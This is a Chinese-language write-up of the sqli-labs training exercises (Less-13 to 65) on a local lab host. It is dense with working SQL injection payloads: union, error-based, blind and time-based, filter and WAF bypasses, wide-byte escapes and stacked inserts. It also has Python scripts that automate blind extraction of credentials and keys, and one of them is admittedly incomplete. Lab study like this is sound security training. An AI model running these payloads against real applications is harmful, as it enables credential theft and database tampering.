-1") union select 1,group_concat(0x7c,table_name,0x7c) from information_schema.tables where table_schema=database() -- // 获取表
-1") union select 1,group_concat(0x7c,column_name,0x7c) from information_schema.columns where table_name='users' -- // 获取字段
-1") union select 1,group_concat(0x7c,username,0x7e,password,0x7c) from users -- // 拿到数据
Less-13 POST 单引号变形双注入
- 正常访问
admin/admin 发现没有返回值,那么这里就有可能是正确没有返回值
- 尝试绕过
通过 a') or 1=1 -- // 绕过验证
获取尝试 永真闭合 ') or ('1')=('1
为什么这里可以闭合呢,这个和之前的注释符闭合类似,
之后尝试获取数据
- 获取数据
0') union all select count(*),2,concat( '~',(select schema_name from information_schema.schemata limit 4,1),'~',floor(rand()*2)) as a from information_schema.schemata group by a %23
0') union select count(*),concat('~',(select table_name from information_schema.tables where table_schema=database() limit 3,1),'~',floor(rand(0)*2)) a from information_schema.tables group by a # // users
0') union select count(*),concat('~',(select column_name from information_schema.columns where table_name='users' limit 1,1),'~',floor(rand(0)*2)) a from information_schema.columns group by a #
0') union select count(*),concat('~',(select concat(username,password) from users limit 0,1),'~',floor(rand(0)*2)) a from information_schema.columns group by a #
通过闭合成功获取到了用户名和密码
Less-14 POST双引号变形双注入
来看一下源码,闭合很简单,就不多叙述了,为什么要用双注呢,和get类似,反正正确,错误无回显,但是语句报错,这里就想到使用双注去执行。
- 正常访问
admin/admin
访问正常
- 绕过
和13一样 改单引号为双引号就可以绕过
" or "1"="1 这样就可以绕过验证登录
- 获取数据
0" union select count(*),concat('~',(select table_name from information_schema.tables where table_schema=database() limit 3,1),'~',floor(rand(0)*2)) a from information_schema.tables group by a #
0" union select count(*),concat('~',(select column_name from information_schema.columns where table_name='users' limit 0,1),'~',floor(rand(0)*2)) a from information_schema.tables group by a #
0" union select count(*),concat('~',(select password from users limit 0,1),'~',floor(rand(0)*2)) a from users group by a #
0" union select count(*),concat( '~',(select concat(id,username,password) from users limit 0,1),'~',floor(rand(0)*2)) as a from information_schema.schemata group by a %23
// 注意 由于正常访问没有回显 ,所以最好加个-1 来报错
成功获取到用户名和密码
Less-15 基于bool型/时间延迟单引号POST型盲注
-正常访问
admin/admin
登录成功
- 脚本跑
理解扫描的方式: 确定数据库的数量,确定数据库的长度,确定数据库
我们可以通过大于数据库的个数这样就不用去判断数据库的长度,之后长度也可以通过时间报错信息去判断,在加上判断 是否是这个字符 一共需要三层循环就可以解决
这里有两种方式去判断 ,使用ascii判断 ,或者通过mid 截断去判断。
data = {'uname': "admin'and If((mid((select schema_name from information_schema.schemata limit %d,1),%d,1))='%s',sleep(0.1),1)#" % ( i, j, str), 'passwd': "1"}
data = {'uname': "admin'and If((mid((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1))='%s',sleep(0.1),1)#" % ( i, j, str), 'passwd': "1"}
data = {'uname': "admin'and If((mid((select column_name from information_schema.columns where table_name='users' limit %d,1),%d,1))='%s',sleep(0.1),1)#" % ( i, j, str), 'passwd': "1"}
data = {'uname': "admin'and If((mid((select username from users limit %d,1),%d,1))='%s',sleep(0.1),1)#" % ( i, j, str), 'passwd': "1"}
data = {'uname': "admin'and If((mid((select password from users limit %d,1),%d,1))='%s',sleep(0.1),1)#" % ( i, j, str), 'passwd': "1"}
- 绕过
' or sleep(5) -- 存在延时
看一下脚本
- 脚本跑
理解扫描的方式: 确定数据库的数量,确定数据库的长度,确定数据库
我们可以通过大于数据库的个数这样就不用去判断数据库的长度,之后长度也可以通过时间报错信息去判断,在加上判断 是否是这个字符 一共需要三层循环就可以解决
这里有两种方式去判断 ,使用ascii判断 ,或者通过mid 截断去判断。
#coding:utf-8
import requests
from time import time
url = "http://192.168.64.135/Less-15/"
char = "abcdefghijklmnopqrstuvwxyz_"
print("start!")
for i in range(0,10):
database = ""
for j in range(1,20):
for str in char:
time1 = time()
data = {'uname':"admin'and If((mid((select schema_name from information_schema.schemata limit %d,1),%d,1))='%s',sleep(0.1),1)#"%(i,j,str),'passwd':"1"}
res = requests.post(url,data=data)
time2 = time()
if (time2-time1 > 0.1 ):
database += str
#print(database)
break
print("the %d database: "% (i+1))
print(database)
print("end!")
Less-16 post方法双引号括号绕过时间盲注
嗯 。。。 和上一关就一个单引号和双引号之差
修改admin' 为 admin ")
Less-17 基于错误的更新查询POST注入
注意 ,如果注入不当,可能导致user的表被清空
这道题的源码还是要好好看看的,发现存在update ,所以 这道题要小心,避免错误的删除数据
而且 这道题对于uname检查严格,但是password没有检查,所以我们的注入点就限制在了password
注意 如果使用不当,
这里可以使用updatexml进行注入
updatexml用法 : updatexml(1,concat(0x7e,(SELECT 查询语句),0x7e),1)
测试发现注入点在password处 uname 过滤了很多,所以从password处出发
1' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)#
之后只要在@@version 处添加合适的查询语句就可以构成注入
Less-18 基于错误的用户代理,头部POST注入
为何host头存在注入,这个也比较少见,但是知道只要和数据库有交互就有可能存在注入
插入了ua头,所以可以从这里下手
可以看到uname和passwd都进行了过滤,这里有个注意点,在平常的渗透中,当输入点没有注入,可以想想是否在其他地方有注入,程序员对于普通用户的输入点过滤严格,但是其他地方却没有进行过滤,导致了注入的发生,也是需要我们多多注意
这里考察 host头部注入,一般相对于参数比较难以查找,也不容易判断,一般判断的方式是通过模糊测试去尝试,或者在可能出现注入的地方添加* 通过sqlmap去测试。
而且要善于去发现页面返回的信息,也许这都是与数据库有交互的点。
这道题返回的信息有host和ua ,那么我们可以通过给这两个地方加* 放进sqlmap去测试,或者加点查看是否出现报错
通过测试发现在ua处加'返回了错误提示,那么我们就尝试从这里拿下
' and '1='1 # 闭合 所以接下来就是在这里通过查询语句获取flag了
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1 // 查询版本信息
如何查询呢,需要使用到burp 抓包 ,挂上代理,burp抓包发送到 repeater去查看
Less-19 基于头部的RefererPOST报错注入
看一下源码,对于referer插入了sql语句,并且没有进行过滤,这就导致了注入
与上题类似,通过返回值判断注入,猜想可能发生在referer处
测试语句与less-18类似
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1 // 查询版本信息
发现闭合 成功注入
Less-20 基于错误的cookie头部POST注入
这里可以看到对于cookie没有进行过滤,并且第二次会拿出cookie调用sql语句,这里就达成了注入的条件。
登录成功之后会设置里面的cookie 当二次刷新的时候 这时候会重新从里面取值弄,并且这次取值没有经过过滤 直接就是注入点 还是使用updatexml的函数进行报错
Cookie: uname=admin1 ' or updatexml(0,concat(0x5e24,user(),0x5e24)
Cookie: uname=admin' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) #
成功绕过,注入成功
从21开始就添加了比较复杂的过滤,让我们拭目以待。
Less-21 基于错误的复杂的字符型Cookie注入
可以看到 cookie没有进行检测过滤,base编码后就进行了查询
使用sqlmap 注入 ,一定要记得添加编码方式,不然检测不出来
这一题和上一题类似,只是对cookie进行了base64编码,使用sqlmap的 tamper可以绕过
手工测试和20题一样,将20题的payload进行base64编码即可
但是发现#编码后执行失败,换用'1'='1闭合语句
admin' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1
YWRtaW4nIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IEBAdmVyc2lvbiksMHg3ZSksMSkgYW5kICcxJz0nMQ==
Less-22 基于错误的双引号字符型Cookie注入)
查看源码,和21只有这一个区别。
这里闭合需要"去闭合,将单引号换成双引号 成功绕过
admin" and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and "1"="1
YWRtaW4iIGFuZCB1cGRhdGV4bWwoMSxjb25jYXQoMHg3ZSwoc2VsZWN0IEBAdmVyc2lvbiksMHg3ZSksMSkgYW5kICIxIj0iMQo%3d
Less-23 基于错误的,过滤注释的GET型
分析源码
对id进行了两次过滤,#和–+被过滤,
这里可以通过 or ‘1’=‘1 来代替注释符,另一种做法是通过union联合查询,添加到语句中间,然后闭合后面的单引号就可以正常的查询了
通过union 查询,在3处闭合 将查询语句写入
-1' union all select 1,group_concat(table_name) from information_schema.tables where table_schema=database(),'3
另一个方式
-1' union all select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() and '1'='1
Less-24 二次注入
拿到这道题,可能和之前的有些许区别,主要这道题注入点不在前端,而是因为数据在二次调用的时候没有过滤,导致了用户通过构造payload绕过去修改其他用户的密码
查看源码,可以看到对于username没有过滤,直接引用了,导致构造的用户修改密码时修改其他用户的密码,并且不需要curr_pass
构造payload admin'# 即可闭合sql语句 使得password=$curr_pass不起作用
首先创建用户 admin'# 登录此用户,之后修改密码,修改后尝试登录admin用户,发现登录成功。
Less-25 过滤了or和and
看看源码,函数对于id进行了替换,or和and ,基本可以使得大多注入语句失效
尝试输入注入语句,发现当输入or 或者 and的时候被过滤,可能是黑名单绕过
Hint: Your Input is Filtered with following result: 1 1=1
尝试双写 发现绕过过滤,
-1' anandd updatexml(1,concat(0x7e,(select database()),0x7e),1) %23
将and和or 换成 && 和 || 同样可以绕过
这道题还有个25a 过滤了or和and的盲注
我们可以直接这样注入
-1 union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata %23
Less-26 过滤了注释和空格的注入
查看源码
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
空格和注释无法使用
绕过空格的几种
%09 tab键 %0a 新建一行 %0c 新的一页 %od return功能 %0b tab键垂直 %a0 空格
用%A0替代空格使用,用&&(%26%26)替代AND使用
构造payload: 0'%A0UNION%A0SELECT%A01,version(),database()%26%26%a0'1
这道题还可以使用盲注实现
0'||left(database(),1)='s'%26%26'1'='1
同样报错注入也可以实现
0'||updatexml(1,concat(0x7e,(Select%0a@@version),0x7e),1)||'1'='1
只要将空格和and绕过 那么实现就简单了
or和and 很好过滤,注释过滤了就使用永真闭合,
Less-26a 过滤了空格和注释的盲注
和上一题区别不大
通过检测 0'||'1'='1 判断是'
也可以通过fuzz去查看 发现 ') ") 无报错
使用盲注ok
0'||left(database(),1)>'s'%26%26'1'='1
尝试绕过,这两个都可以绕过
0')%a0union%a0select%a01,2,3||('1
0')%a0union%a0select%a01,2,3;%00
虽然这道题说是盲注,但是通过闭合 也可以直接爆出结果。
Less-27 过滤了union和select
做了这么多了,下来就不说如何拿到数据了,重点在于如何绕过,只要能够找到注入点,剩下的可以利用sqlmap 等等工具直接利用,毕竟在渗透中,没有那么多的时间让我们去消耗
过滤了union和select
绕过方式:双写 大小写
0'%0aUnioN%0aSeleCT%0a1,2,3;%00
0'%A0UnIoN%A0SeLeCt(1),2,3%26%26%a0'1
这里说明一下,冒号可以做闭合用, %00用来截断 这样和注释有相同的含义,这下绕过就多了:注释,分号闭合,冒号%00截断
Less-27a 过滤了union和select
看一下源码 ,过滤了常见的几个语句,但是黑名单很好绕的,毕竟没有谁能将所有的都加入其中,这样会影响正常的工作
和上一题一样,但是把单引号换成了双引号
替换上一题的payload即可绕过
0"%0aUNion%0aseLEct%0a1,2,3%26%26%0a"1
0"%0aUNion%0aseLEct%0a1,2,3;%00
Less-28 过滤了union和select大小写
过滤注释 空格,union 和select在一起的使用
0')%A0UnIoN%A0SeLeCt(1),version(),3%26%26%a0('1
使用盲注也可以达到注入的目录
0')||left(database(),1)='s';%00
但是出现注入的原因是大小写不严格导致 ,mysql语句中,对大小写不敏感,所以单独的过滤某个函数是没有用的, 必须转成小写在判断。这样就可以把大小写给过滤了。
Less-28a盲注 过滤了union和select大小写
看看源码,过滤不严格,导致了注释可以使用
类似于28 这里可以使用注释
0')%A0UnIoN%A0SeLeCt(1),version(),database() --+
Less-29 获取-基于错误的缺乏证据的不匹配-在web应用程序前面有一个WAF。
从29关开始,不再是一个index.php文件了
第一个文件是错误输出显示了
第二个index.php 在熟悉不过了,返回了
第三个是个login.php
简单说一下这道题的原理
这里的waf指的是jsp服务器,这里起到防火墙的作用,数据会经过jsp服务器过滤之后传入php服务器中,php服务器之后将数据返回到jsp服务器,打印到客户端。
这里我们可以传两个参数 id=1&id=2 ,判断是谁获取了第一个值,谁又拿到了第二个值
此处应该是id=2的内容,应为时间上提供服务的是apache(php)服务器,返回的数据也应该是apache处理的数据。而在我们实际应用中,也是有两层服务器的情况,那为什么要这么做?是因为我们往往在tomcat服务器处做数据过滤和处理,功能类似为一个WAF。而正因为解析参数的不同,我们此处可以利用该原理绕过WAF的检测。该用法就是HPP(HTTP Parameter Pollution),http参数污染攻击的一个应用。HPP可对服务器和客户端都能够造成一定的威胁
payload:0' union all sElect 1,database(),3 --+
首先传入两个参数 id=1 &id=0’ 第二个参数被服务器拿到了,处理然后返回了结果,所以这次注入需要两个参数
http://192.168.64.135/Less-29/?id=1&id=0%27%20union%20all%20sElect%201,database(),3%20–+
通过对第二个参数进行注入 成功获取数据
Less-30 盲注-缺乏证据的不匹配-在web应用程序前面有一个WAF。
测试发现" 报错
0" union select 1,2,database() --+
测试发现上面的同样可以过waf
id=1&id=0" union select 1,2,database() --+
Less-31 盲注-缺乏证据的不匹配-在web应用程序前面有一个WAF。
判断发现可以通过") --+ 闭合
id=1&id=0") union select 1,2,database() --+
Less-32 一个为危险字符添加斜线的GET - Bypass自定义过滤器
注释发现 系统会给特殊字符添加转义\
那么我们是否可以编码绕过,发现编码不行
尝试转换成16进制也不ok
百度一下,得到了这道题的做法:宽字节注入,由于数据库编码与前端编码不一致导致存在注入
汉字是由两个字节编码的,由于gbk和utf-8编码不一致导致报错,为了构成报错,我们需要添加一个大于128的编码
0%df' union select 1,database(),3 --+
成功绕过
Less-33 bypass Addslashes()
这里主要是如何绕过addslashes()这个函数
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:
单引号(')
双引号(")
反斜杠(\)
NULL
提示:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。
注释:默认地,PHP 对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。所以您不应对已转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。
这里和32 差别不大 一个是自定义添加,另一个是使用函数添加
0%df' union select 1,database(),3 --+
Less-34 bypass Addslashes()
和上一关差别不大,使用post请求
一样的宽字节注入,并且在uname和passwd处都存在注入
uname=0%df' union select 1,database() --+&passwd=0&submit=Submit
Less-35 GET-Bypass添加斜杠(我们不需要)整数
这里输入的整数 直接--+ 就可以绕过了
0 union select 1,database(),3 --+
Less-36 GET-Bypass MySQLreal escape_string
先来看看这个函数
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
\x00
\n
\r
\
'
"
\x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
而这个函数可以通过以下语句绕过
aaa' OR 1=1 --
0%df' union select 1,2,database() --+
Less-37 POST-Bypass MySQLreal escape_string
到了后面,主要讲思路,语句基本都会了
这里是post方式,我们抓包 添加语句到uname或者passwd中,同样是添加'%df报错,查询 --+做注释
uname=0%df' union select 1,database() --+&passwd=admin&submit=Submit
成功绕过
Less-38 层次化查询
可以直接正常注入
主要看下这个函数
mysqli_more_results() 检查一个多重查询语句中是否有更多结果
Less-38 层次化查询
也叫堆叠注入
简单来说 就是通过将多条语句通过;隔开写在一起构成多语句,由于未对参数进行处理导致多条语句正常执行
堆叠查询受限于api或者数据库引擎不支持的限制,权限不足也会限制语句执行
1';insert into users(id,username,password) values ('16','a','a')--
Less-39 GET - Stacked Query Injection - Intiger based
语句都一样,重点是找到闭合的方式
1;insert into users(id,username,password) values (16,'a','a')--
Less-40 GET-BLIND - based - String - stacked
1'); insert into users(id,username,password) values ('17','a','a')--+
Less-41 GET - BLIND based - Intiger - Stacked
1; insert into users(id,username,password) values(18,'b','b') --+
Less-42 POST - Stacked Query error based
经过验证,在password处语句报错,所以我们需要从passowrd入手
0';create table aaa like users #
Less-43 POST- Stacked Query error based with twist
和 42 类似 同样password 未过滤
login_user=1&login_password=a');create table less43 like users#&mysubmit=Login
Less-44 POST - Error based - String - Stacked -Blind
login_user=a&login_password=a';insert into users(id,username,password) values(19,'a','a') --+&mysubmit=Login
Less-45 POST - Error based - String - Stacked - Blind
login_user=a&login_password=a'); insert into users(id,username,password) values(20,''c','c') --+&mysubmit=Login
Less-46 ORDER BY-Error-Numeric
终于迎来了一个过渡
这次的注入是通过order by 来进行的
通过sort 查询 发现当输入4的时候报错,而报错提示与order by 提示相同,猜想可能是将输入的值插入order by里进行的
通过updatexml 报错注入
sort=4 and updatexml(1,concat(0x7e,(select database()),0x7e),1) %23
Less-47 ORDER BY Clause-Error-Single quote
和46有少许区别,做到这里基本套路应该都懂了,从不需要单引号,双引号之类的报错,到盲注,难度都是一步一步深入
sort=4' and (select count(*) from information_schema.columns group by concat(0x7e,(select database()),0x7e,floor(rand(0)*2))) --+
注意 and后面的语句要使用()括起来
基于 procedure analyse 注入
sort=1'procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)--+
Less-48 ORDER BY Clause Blind based
这一题 需要使用盲注解决
通过substr获取所要查询的信息的位数
然后使用ascii去解析成ascii编码
之后通过if判断是否相等 去获取值
之后构成 if(ascii(substr(datbase(),1,1)))
或者使用rand(ascii(left(database,1))=115) 同样获取相同的效果
Less-49 ORDER BY Clause Blind based
同样是盲注,和48类似
这一题使用延时盲注解决
获取长度
1 and if(length(database())=8,sleep(5),0)--+
获取值
1 and If(ascii(substr(database(),1,1))=114,0,sleep (5))--+
Less-50 ORDER BY Clause Blind based
检测 返回只有正确或者错误,属于盲注
通过报错注入 也能获取
1 and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
Less-51 ORDER BY Clause Blind based
sort=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
Less-52 ORDER BY Clause Blind based
测试发现均没有显错 只能盲注了
1 and if(length(database())=8,sleep(5),0) --+
Less - 53 ORDER BY Clause Blind based
通过测试发现回显只有正确和错误,所以这道题做法基本就是盲注了,
4' and if(length(database()) = 8 ,0,sleep(6)) --+
1' and (length(database())) = 8 and if(1=1, sleep(1), null) and '1'='1
1' and (ascii(substr((select database()) ,1,1))) = 114 and if(1=1, sleep(1), null) and '1'='1
又要进入一个新的过渡了
Less-54 GET-challenge-Union-10 queries allowed-Variation 1
挑战 ,允许查询10次,先不急去查看,观察一下需要输入的内容
所以,我们只有10次机会,
一般获取一个表正常需要获取数据库,到表,到列,再到数据,所以最少需要4步,而这里我们需要用6步猜测出来注入
回忆一下前面的注入, get类型的包含但不限于单引号,双引号,bool,堆叠,延时,报错,字符型和数字型,双注。
第一道题 采用最简单的'注入
http://192.168.64.135/Less-54/?id=1%27%20order%20by%203%20%23 // True
http://192.168.64.135/Less-54/?id=1%27%20order%20by%204%20%23 // false
http://192.168.64.135/Less-54/?id=0%27%20union%20select%201,2,database()%20%23 // True challenges
http://192.168.64.135/Less-54/?id=0%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20%23 // True 8T3YRE3TXR
http://192.168.64.135/Less-54/?id=0%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%278T3YRE3TXR%27%20%23// true secret_4XCQ
http://192.168.64.135/Less-54/?id=0%27%20union%20select%201,2,group_concat(secret_4XCQ)%20from%208T3YRE3TXR%20%23 // True aefBbyoeStF7Edc3FZa4G5C4
Less-55 GET-challenge-Union-14 queries allowed-Variation 2
线索: 告诉了测试次数14次, union测试 数据库challenges
第一次挑战 失败
' " ') ") 均没有回显 初次猜测报错注入或者双注
第二次尝试
) 闭合
获取表
=0) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges' %23 // True UBU4QNRHHP
获取列
id=0) union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='UBU4QNRHHP' %23 //true
// secret_6H3B
获取key
0) union select 1,2,group_concat(secret_6H3B) from UBU4QNRHHP %23
mLjAsOZnSEbQqIMybw1AnUYH
Less-56 GET-challenge-Union-14 queries allowed-Variation 3
这次老老实实绕过
id=1' %23 // False
id=1" %23 // True 但是注入 union报错
添加为
id=1' union select 1,2,3 %23 // False
id=1" union select 1,2,3 %23 //False
id=1') union select 1,2,3 %23
获取表
0%27)%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%23
KOUNR4QC6G
获取列
0') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='KOUNR4QC6G'%23
secret_3EVD
获取key
0') union select 1,2,group_concat(secret_3EVD) from KOUNR4QC6G %23
KcU87wBerjRPTHsvWBL6Zpx1
Less-57 GET-challenge-Union-14 queries allowed-Variation 4
做法 和之前一样
0" union select 1,2,3 %23
通过改变0之后的值达到闭合的目的
获取表
0" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'%23
VAFBXAV18O
获取列
0" union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='VAFBXAV18O'%23
secret_G8PM
获取key
0" union select 1,2,group_concat(secret_G8PM) from VAFBXAV18O %23
dRwHUUQ2TXSGUZ556g7FikFJ
Less-58 GET-challenge-Double Query-5 queries allowed-Variation 1
这道题 不看题目可能需要测好久
这次使用双注来报错查询
http://192.168.64.135/Less-58/?id=1%27and%20%271%27=%271 // True 绕过
获取表
1'and (select count(*) from information_schema.tables group by concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'~',floor(rand(0)*2))) %23
5H512U9U27
获取列
1'and (select count(*) from information_schema.tables group by concat('~',(select column_name from information_schema.columns where table_schema=database() and table_name='5H512U9U27' limit 2,1),'~',floor(rand(0)*2))) %23
secret_DD13
获取key
1'and (select count(*) from information_schema.tables group by concat('~',(select secret_BJYY from 9JMRBSMHB3 limit 0,1),'~',floor(rand(0)*2))) %23
fJw5d5MfwbirBtiV6ajyMVYL
Less-59 GET-challenge-Double Query-5 queries allowed-Variation 2
先测试类型
有报错,可以注入
这次不需要过滤
获取表
1 and (select count(*) from information_schema.tables group by concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'~',floor(rand(0)*2))) %23
N6JFY84247
获取列
1 and (select count(*) from information_schema.tables group by concat('~',(select column_name from information_schema.columns where table_schema=database() and table_name='N6JFY84247' limit 2,1),'~',floor(rand(0)*2))) %23
secret_FWQ3
获取key
1 and (select count(*) from information_schema.tables group by concat('~',(select secret_FWQ3 from N6JFY84247 limit 0,1),'~',floor(rand(0)*2))) %23
VlWMK389WVuIephCe46vDls5
Less-60 GET-challenge-Double Query-5 queries allowed-Variation 3
测试 单引号 双引号 ) ') ") 发现") 闭合 绕过
获取表
http://192.168.64.135/Less-60/?id=1%22)%20and%20(select%20count(*)%20from%20information_schema.tables%20group%20by%20concat(%27~%27,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),%27~%27,floor(rand(0)*2)))%20%23
5H36JXB2F0
获取 列
http://192.168.64.135/Less-60/?id=1%22)%20and%20(select%20count(*)%20from%20information_schema.tables%20group%20by%20concat(%27~%27,(select%20column_name%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%275H36JXB2F0%27%20limit%202,1),%27~%27,floor(rand(0)*2)))%20%23
secret_NFL6
获取key
http://192.168.64.135/Less-60/?id=1%22)%20and%20(select%20count(*)%20from%20information_schema.tables%20group%20by%20concat(%27~%27,(select%20secret_NFL6%20from%205H36JXB2F0%20limit%200,1),%27~%27,floor(rand(0)*2)))%20%23
49DYkkaArpuMaYb5ITI6NYlP
Less-61 GET-challenge-Double Query-5 queries allowed-Variation 4
通过1' 判断闭合
获取表
1%
27))%20and%20(select%20count(*)%20from%20information_schema.tables%20group%20by%20concat(%27~%27,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),%27~%27,floor(rand(0)*2)))%20%23
EKP9EVPEDH
获取列
1')) and (select count(*) from information_schema.tables group by concat('~',(select column_name from information_schema.columns where table_schema=database()%20 and table_name='EKP9EVPEDH' limit 2,1),'~',floor(rand(0)*2))) %23
secret_DI64
获取key
1')) and (select count(*) from information_schema.tables group by concat('~',(select secret_DI64 from EKP9EVPEDH ),'~',floor(rand(0)*2))) %23
8r5XPen1KywllEINiQfAQnlq
Less-62 GET-challenge-Blind- 130 queries allowed -variation 1
这里面还有盲注,坑啊, 这里就只测试注入点
剩下的大家自己完成,这里发现sqlmap测试,不会导致页面重置,超过130次还可以执行
获取注入点1') %23
这里尝试写脚本试试
先写个爆破数据库的
## 这里通过 ') %23 可构成闭合
from urllib import request
from urllib import parse
import re
url ='http://192.168.64.135/Less-62/?id='
# length
num = 0
for i in range(1,20):
num +=1
param = '1 \') and (length(database())='+str(i)+') #'
response = request.urlopen(url+parse.quote(param)).read().decode()
if (re.search("Angelina",response)):
print("length:" + str(i))
break
database = ""
for i in range(10):
a = b =64
while True:
num +=1
b = int(b/2)
param = '1 \') and (ascii(substr(database(),'+str(i+1)+',1))<'+str(a)+') #'
response = request.urlopen(url+parse.quote(param)).read().decode()
#print(url+parse.quote(param))
if (re.search("Angelina", response)):
a -=b
else:
param = '1 \') and (ascii(substr(database(),' + str(i+1) + ',1))=' + str(a) + ') #'
response = request.urlopen(url + parse.quote(param)).read().decode()
#print(url + parse.quote(param))
if (re.search("Angelina", response)):
database +=chr(a)
break
else:
a +=b
print(database)
之后爆破表 这一题写个完整的,之后就简略的写出注入点,
爆破表,拿上面的修修改改
通过检查,先确定表的长度,再去爆破
爆破前记得重置,因为130次比较少
# 查表的数量
table_num = 0
while True:
param = "1 ') and (select count(*) from information_schema.tables where table_schema=database())="+str(table_num)+" #"
response = request.urlopen(url + parse.quote(param)).read().decode()
print(url+parse.quote(param))
if (re.search("Angelina",response)):
print("table_num:"+str(table_num))
break
else:
table_num += 1
print(table_num)
# # 确定表的长度
table_length = 0
while True:
param = '1 \') and length(substr((select table_name from information_schema.tables where table_schema=database()),1))='+str(table_length)+' #'
response = request.urlopen(url+parse.quote(param)).read().decode()
print(url+parse.quote(param))
if (re.search("Angelina", response)):
print("table_num:" + str(table_length))
break
else:
table_length += 1
# 获取表名
table_name=""
for i in range(1,11):
a=b=64
while True:
b= int(b/2)
param = '1 \') and (ascii(substr((select table_name from information_schema.tables where table_schema=database()),'+str(i)+',1))<'+str(a)+') #'
response = request.urlopen(url+parse.quote(param)).read().decode()
print(url+parse.quote(param))
if (re.search("Angelina", response)):
a -=b
else:
param = '1 \') and (ascii(substr((select table_name from information_schema.tables where table_schema=database()),'+str(i)+',1))=' + str(a) + ') #'
response = request.urlopen(url + parse.quote(param)).read().decode()
print(url + parse.quote(param))
if (re.search("Angelina", response)):
table_name +=chr(a)
break
else:
a +=b
print(table_name)
J8CLO25SRR
最后查列,这里发现写的脚本比较费时,所以稍微修改一下
column_name =""
for i in range(7,11):
a=b=64
while True:
b= int(b/2)
param = '1 \') and (ascii(substr((select table_name from information_schema.tables where table_name="'+str(table_name)+'"),'+str(i)+',1))<'+str(a)+') #'
response = request.urlopen(url+parse.quote(param)).read().decode()
print(url+parse.quote(param))
if (re.search("Angelina", response)):
a -=b
else:
param = '1 \') and (ascii(substr((select table_name from information_schema.tables where table_name="'+str(table_name)+'"),'+str(i)+',1))=' + str(a) + ') #'
response = request.urlopen(url + parse.quote(param)).read().decode()
print(url + parse.quote(param))
if (re.search("Angelina", response)):
column_name +=chr(a)
break
else:
a +=b
#HKIR
print(column_name)
column_name = "secret_"+column_name
# 查 key
for i in range(1,25):
a=b=64
while True:
b= int(b/2)
param = '1 \') and (ascii(substr((select '+column_name+' from '+table_name+'),'+str(i)+',1))<'+str(a)+') #'
response = request.urlopen(url+parse.quote(param)).read().decode()
print(url+parse.quote(param))
if (re.search("Angelina", response)):
a -=b
else:
param = '1 \') and (ascii(substr((select '+column_name+' from '+table_name+')),'+str(i)+',1))=' + str(a) + ') #'
response = request.urlopen(url + parse.quote(param)).read().decode()
print(url + parse.quote(param))
if (re.search("Angelina", response)):
key +=chr(a)
break
else:
a +=b
# 这里脚本不满足复杂度,不能在130以内弄出来,作为参考,等我去翻翻算法,在回来改
Less-63 GET-challenge-Blind- 130 queries allowed -variation 2
和上一题类似
这里就判断注入类型,和如何闭合
1' order by 4 %23
通过判断 发现3 返回正常 4 错误
所以之后的做法就和62 一样
Less-64 GET-challenge-Blind- 130 queries allowed -variation 3
测试了 ' " ) )) ') ") ')) "))
1)) order by 3 %23 闭合
Less-65 GET-challenge-Blind- 130 queries allowed -variation 4
和上一题一样,通过测试闭合
发现 ") 绕过 闭合
这里还有一种做法,将需要绕过的写入txt文件,之后通过burp去爆破,通过判断返回值也可以达到相同的效果
不同数据库的注入
攻击者对于数据库注入,无非是利用数据库获取更多的数据或者更大的权限,利用的方式可以归结为以下几类:
- 查询数据
- 读写文件
- 执行命令
攻击者对于程序注入,无论任何数据库,无非都是在做这三件事,只不过不同的数据库注入的 SQL 语句不一样罢了。
SQL Server
利用错误消息提取信息
SQL Server 数据库是一个非常优秀的数据库,它可以准确地定位错误信息,这对攻击者来说是一件十分美好的事情,因为攻击者可以通过错误消息提取自己想要的数据。
枚举当前表或者列
假设选择存在这样一张表:
查询 root 用户的详细信息,SQL 语句猜测如下:
SELECT * FROM user WHERE username = 'root' AND password = 'root'
攻击者可以利用 SQL Server 特性来获取敏感信息,在输入框中输入如下语句:
' having 1 = 1 --
最终执行的 SQL 语句就会变为:
SELECT * FROM user WHERE username = 'root' AND password = 'root' HAVING 1 = 1 --
